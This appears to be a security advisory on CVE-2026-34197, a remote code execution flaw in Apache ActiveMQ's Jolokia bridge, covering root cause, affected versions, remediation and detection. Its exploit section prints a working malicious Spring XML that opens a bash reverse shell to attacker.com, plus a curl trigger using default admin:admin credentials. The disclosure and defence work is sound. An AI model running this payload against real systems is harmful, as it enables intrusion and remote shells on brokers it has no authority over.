CVE-2026-34197: Apache ActiveMQ Jolokia RCE

A 13-year-old flaw in the Jolokia HTTP-to-JMX bridge lets attackers force the ActiveMQ broker to fetch and instantiate a remote Spring XML configuration — yielding arbitrary code execution in the broker's JVM. Default credentials make it trivially exploitable in practice; 6,400 vulnerable instances remain internet-exposed.

Overview

Apache ActiveMQ Classic is one of the most widely deployed open-source message brokers, used heavily in enterprise Java middleware stacks. On 14 April 2026, researchers at Horizon3.ai disclosed CVE-2026-34197 — a remote code execution vulnerability that had lived undetected in the codebase for approximately 13 years.

The vulnerability lives in ActiveMQ's Jolokia integration. Jolokia is a library that bridges HTTP to Java Management Extensions (JMX), letting operators interact with broker management operations via REST-style requests instead of raw JMX clients. The flaw arises because the default Jolokia access policy permits exec operations on all MBeans under the org.apache.activemq:* domain — a blanket permission that, combined with one specific management operation, creates a path to remote code execution.

Fortinet FortiGuard Labs observed exploitation peaking on 14 April 2026. Shadowserver scanned the internet on 19 April and found 6,364 IP addresses running vulnerable ActiveMQ versions — the vast majority of them unauthenticated or using default credentials.

Root Cause: addNetworkConnector and brokerConfig

The triggering operation is addNetworkConnector(String) on the broker MBean. This operation was designed to allow runtime addition of network connectors — bridges between brokers in a network-of-brokers topology. It accepts a transport URI as its argument.

The critical detail: when the URI scheme is vm:// (the in-VM transport), ActiveMQ creates a new embedded broker instance for the virtual machine transport. The URI can include a brokerConfig query parameter pointing to an external configuration file. ActiveMQ will fetch that URL and initialise the new broker from it using Spring's ResourceXmlApplicationContext.

Spring's application context instantiates all bean definitions in the XML file before the broker validates anything — so if an attacker controls the XML, they control arbitrary Java object instantiation at broker startup, which trivially yields code execution via standard Spring gadgets such as ProcessBuilder inside a FactoryBean.

Exploit Chain

The full attack sequence against a target running vulnerable ActiveMQ Classic with default credentials:

Stand up an HTTP server hosting a malicious Spring XML config (e.g. on port 8888).
Send a crafted Jolokia POST to the broker's web console endpoint with credentials (admin:admin).
The Jolokia request invokes addNetworkConnector with a vm://attacker?brokerConfig=xbean:http://attacker.com/evil.xml URI.
ActiveMQ fetches the XML, Spring instantiates the beans — including a ProcessBuilder calling back to a listener.
Shell lands in the broker's JVM context.

# Step 1: malicious Spring XML (hosted at http://attacker.com/evil.xml)
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
                           http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value>bash -i >&/dev/tcp/attacker.com/4444 0>&1</value>
      </list>
    </constructor-arg>
  </bean>
</beans>

# Step 2: trigger via Jolokia
curl -s -u admin:admin \
  -H 'Content-Type: application/json' \
  -d '{
    "type":"exec",
    "mbean":"org.apache.activemq:type=Broker,brokerName=localhost",
    "operation":"addNetworkConnector(java.lang.String)",
    "arguments":["vm://attacker?brokerConfig=xbean:http://attacker.com:8888/evil.xml"]
  }' \
  http://TARGET:8161/api/jolokia/

Unauthenticated Variant (6.0.0–6.1.1)

Versions 6.0.0 through 6.1.1 are affected by a separate vulnerability, CVE-2024-32114, which exposes the Jolokia API endpoint without requiring authentication. On these versions, CVE-2026-34197 is effectively fully unauthenticated — no credentials needed at all. The same payload fires without the -u admin:admin flag.

Why It Survived 13 Years

The addNetworkConnector operation was designed for legitimate use in production broker networks. Its existence in the Jolokia-accessible MBean domain was intentional — operators need to manage connectors at runtime. The path to code execution required chaining three separately innocuous behaviours: the broad Jolokia exec permission, the vm:// transport's embedded broker creation, and Spring's eager bean instantiation. None of these were individually considered dangerous in isolation.

A previous patch for CVE-2022-41678 attempted to restrict Jolokia exec access, but the fix introduced a broad allowlist under org.apache.activemq:* to preserve web console functionality — inadvertently re-opening the attack surface by keeping addNetworkConnector accessible.

Affected Versions

ActiveMQ Classic all versions before 5.19.6
ActiveMQ Classic 6.0.0 through 6.2.4 (inclusive)

The fix is available in 5.19.6 and 6.2.5. The patch removes the ability for addNetworkConnector to accept vm:// transports via Jolokia — this was never an intended remote management capability.

Remediation

Upgrade to ActiveMQ Classic 5.19.6 or 6.2.5 immediately.
If upgrading is blocked, restrict access to port 8161 (the web console / Jolokia endpoint) to management networks only via firewall rules.
Change the default admin:admin credentials if you haven't already — this is critical even on patched versions.
Disable the Jolokia endpoint entirely in conf/jolokia-access.xml if it is not required for your deployment.
Review outbound HTTP from broker hosts — exploitation requires the broker to make an outbound request to the attacker's XML host, so egress filtering is an effective backstop.

Detection

Look for the following indicators across broker and network logs:

POST requests to /api/jolokia/ or /hawtio/jolokia/ containing "addNetworkConnector" in the body from untrusted source IPs.
Outbound HTTP requests from the ActiveMQ process to external hosts — especially those fetching .xml files.
Unexpected child processes spawned by the activemq Java process (e.g. bash, sh, curl, wget).
New network connections from the broker host on non-standard ports immediately after a Jolokia exec request.

The Horizon3.ai PoC and scanner are publicly available, meaning opportunistic mass exploitation is underway — treat any unpatched internet-exposed ActiveMQ instance as compromised until proven otherwise.